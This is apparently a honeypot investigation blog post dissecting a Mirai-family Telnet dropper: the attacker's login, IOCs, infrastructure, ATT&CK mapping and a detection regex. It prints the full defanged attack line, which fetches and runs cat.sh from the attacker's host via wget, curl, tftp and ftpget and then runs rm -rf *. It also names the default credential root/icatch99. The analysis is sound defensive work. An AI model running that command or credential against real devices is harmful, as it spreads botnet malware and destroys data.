~ / honeypot / mirai-cat-sh-dropper
23 November 2026 · Updated 26 November · Honeypot investigation · 9 min read

Five download methods in one Telnet line, and a cd that never runs

honeypotcowriemiraitelnetiotmalware-delivery

A Spamhaus-listed server in Germany logged in to my Telnet honeypot as root/icatch99 and sent a single line that tries wget, curl, two flavors of tftp and ftpget in turn, runs whatever arrives, and deletes it. The line starts with echo, which turns its directory fallback chain into a no-op. The same address hosts the payloads.

TL;DR

Source 143[.]203[.]219[.]50, AS207043 (Dedik Services Limited), geolocated to Germany. The AS is on Spamhaus ASN-DROP (DEDIK-IO)
Sensor Cowrie (T-Pot 24.04.1), Telnet/23
Access One failed login (root, empty password), then root/icatch99
Session 2077b60b812c, 23 Nov 2026, 10:19:48 to 10:19:52 CST (4 s, one command line). Four Telnet sessions from this address in total
What it ran One line that tries wget, curl, two tftp syntaxes and ftpget in turn, runs whatever arrives after each attempt, then deletes it
Payload cat.sh, a 1,903-byte shell script on the same IP. SHA-256 a509a971…6617e07. On URLhaus (online, listed 23 Nov); VirusTotal 22 of 73, label downloader.mirai. The host also serves 14 ELF builds named iran.<arch>, one per CPU type. Update, 26 Nov: I fetched the script and all 14 builds into an isolated lab (details below)
Finding The line starts with echo, which makes its directory-fallback chain a no-op, and ends with rm -rf * in whatever directory that leaves the shell in
Family Mirai-family downloader. Medium confidence: three independent records tie the script to Mirai, and the builds carry the same label. The behavior I observed (below) adds a check-in format I have not matched to a documented protocol
Update, 26 Nov The URL still serves the same cat.sh (same hash). The 14 builds cover ARM, AArch64, ARC, x86, m68k, MIPS, PowerPC, SuperH and SPARC. All 15 files were already known to MalwareBazaar and URLhaus. In an offline emulated run, the AArch64 build tried to send a short text check-in to port 8060 on the same address, so the scanner, the payload server and the likely controller appear to be one host
Reputation GreyNoise malicious, active 23 Nov. AbuseIPDB 100% (256 reports from 185 users in 90 days). ThreatFox: 3 records (botnet C2, payload delivery). 10 OTX pulses. VirusTotal 13 malicious and 2 suspicious of 92

Timeline

All times CST (UTC-6).

Time Event
22 Nov 19:08 First contact from this address in my two-day window.
23 Nov 10:19:48 Telnet session opens: one failed login (root, empty password), then root/icatch99 succeeds.
10:19:48 to 10:19:52 One command line, then disconnect.
10:21:00 Last event from the address in my data (54 events in total).
26 Nov 09:11 The URL still serves cat.sh, byte for byte the same hash. My lab VM fetches it.
09:15 to 09:27 The lab fetches the 14 builds the script lists, one every minute or two. Every one downloads.

The line

This is the whole session: one command, broken across lines here for reading (URLs and addresses defanged).

echo cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget hxxp://143[.]203[.]219[.]50/cat[.]sh;
curl -O hxxp://143[.]203[.]219[.]50/cat[.]sh;
chmod 777 cat.sh; sh cat.sh;
tftp 143[.]203[.]219[.]50 -c get cat.sh; chmod 777 cat.sh; sh cat.sh;
tftp -r cat.sh -g 143[.]203[.]219[.]50; chmod 777 cat.sh; sh cat.sh;
ftpget -v -u anonymous -p anonymous -P 21 143[.]203[.]219[.]50 cat.sh cat.sh; sh cat.sh;
rm -rf cat.sh cat.sh cat.sh; rm -rf *
# Command Purpose
1 echo cd /tmp || cd /var/run || cd /mnt || cd /root || cd / The usual loader idiom: move to the first writable directory. See below for why this one does nothing
2 wget …/cat.sh; curl -O …/cat.sh HTTP download with two different clients
3 tftp <host> -c get cat.sh and tftp -r cat.sh -g <host> TFTP, once in each of the two common client syntaxes (tftp-hpa style, then BusyBox style)
4 ftpget -v -u anonymous -p anonymous -P 21 <host> cat.sh cat.sh BusyBox FTP client with an anonymous login
5 chmod 777 cat.sh; sh cat.sh after every attempt Run whatever arrived. If a download failed, sh just complains about a missing file
6 rm -rf cat.sh cat.sh cat.sh; rm -rf * Cleanup. The second command empties the current directory

The cd that never runs

The first command begins with echo. In a POSIX shell, echo cd /tmp prints text and succeeds, and || only runs the next command when the previous one fails. So the fallback chain stops immediately and none of the cd commands execute. Everything after it runs in the login directory, which is whatever the device's root account starts in, often / or /root.

That matters for two reasons. On a device where the login directory is read-only, every download fails quietly. Where it is writable, the final rm -rf * deletes everything in that directory, not just the script. Either the operator's tool added a stray echo or someone pasted the line wrong; I cannot tell which. URLhaus's tags show payloads for at least five CPU families on the same host (AArch64, PowerPC, SuperH, arm, and x86-64 for the second file), so this is a maintained kit, not a throwaway script.

What is behind the URL

Update, 26 November: the 14 builds

Three days after the session, the host still served the same script, so I fetched it and the 14 builds it lists with my lab VM. The fetch runs in a throwaway container behind a VPN, and nothing is opened on a workstation. All 15 files downloaded.

The infrastructure

Source Record
Network AS207043 Dedik Services Limited. The AS is on Spamhaus ASN-DROP (DEDIK-IO)
Shodan Organization shown as “SPUZE LLC”; Apache httpd 2.4.52 on port 80, tagged scanner, 96 known CVEs. My tooling reads that as a possibly compromised host; it is a weak signal. The two organization names disagree, which is normal for leased space
ThreatFox 3 records for the IP: unknown malware, botnet C2 and payload delivery
URLhaus cat.sh listed since 23 Nov, online, tags automated, cowrie, honeypot, mirai. 17 malware URLs on the host, all online, first seen 23 Nov, tagged with architectures (AArch64, PowerPC, SuperH, arm and others)
Own data (30 days) No other source IP used this payload host. The scanner and the payload server are the same address

The contrast with my earlier Mirai write-up is the point. Those two sources were Pakistani home internet lines with no Shodan record, most likely infected devices scanning for their next victim. This one is a hosting-network address that scans and serves the payloads. It is rented infrastructure for the botnet, not an infected consumer device.

Assessment

Detection ideas (for real systems)

MITRE ATT&CK

ID Technique Evidence
T1110.001 Brute Force: Password Guessing Empty-password root attempt before the hit
T1078.001 Valid Accounts: Default Accounts root/icatch99
T1059.004 Command and Scripting Interpreter: Unix Shell The one-line delivery command
T1105 Ingress Tool Transfer wget, curl, tftp and ftpget from the same host
T1070.004 Indicator Removal: File Deletion rm -rf cat.sh and rm -rf *
T1036.004 Masquerading: Masquerade Task or Service AArch64 build renames its process to -sh (emulated run, 26 Nov)
T1071 Application Layer Protocol Plain-text check-in to port 8060 on the same host (emulated run, 26 Nov)

IOCs

ipv4    143[.]203[.]219[.]50           scanner and payload host (AS207043, ASN-DROP)
url     hxxp://143[.]203[.]219[.]50/cat[.]sh
sha256  a509a971533ed05fff3536583fb6e39d24e98472aafa2c06da0eea6df6617e07   cat.sh (shell, 1,903 bytes)
url     hxxp://143[.]203[.]219[.]50/iran[.]x86_64
sha256  b18ef28c6c0ab3b74f2eb936fe611ecab8ac0527d0ce9da11eb029c69eb4b32a   iran.x86_64 (ELF, 164,272 bytes; logged as a download in the same session)
url     hxxp://143[.]203[.]219[.]50/iran[.]<arch>   arch = aarch64, arc, armv4l, armv5l, armv6l, armv7l, i486, m68k, mips, mipsel, powerpc, sh4, sparc, x86_64 (all 14 fetched 26 Nov)
sha256  a44068e65c02a26e7468dbabb18f8b3dac8c0af79f87a18b74f08f6fee3cb13f   iran.aarch64 (ELF, 210,936 bytes, stripped)
ipv4:port 143[.]203[.]219[.]50:8060   check-in destination in an emulated run of iran.aarch64 (likely C2)
string  hxxp://%s/mips, hxxp://%s/mipsel, hxxp://%s/telnet[.]sh   URL templates inside iran.aarch64
string  "aarch64 default"   15-byte check-in text (architecture, group label)
cred    root / icatch99 (Telnet)
regex   tftp .* -c get .*; .*tftp -r .* -g .*; .*ftpget -v -u anonymous

References

Captured on a deliberately exposed honeypot. All indicators are defanged; do not visit them. Sensor location and addressing are withheld. Attribution is limited to what the evidence supports.

← All honeypot investigationstonyjucha.com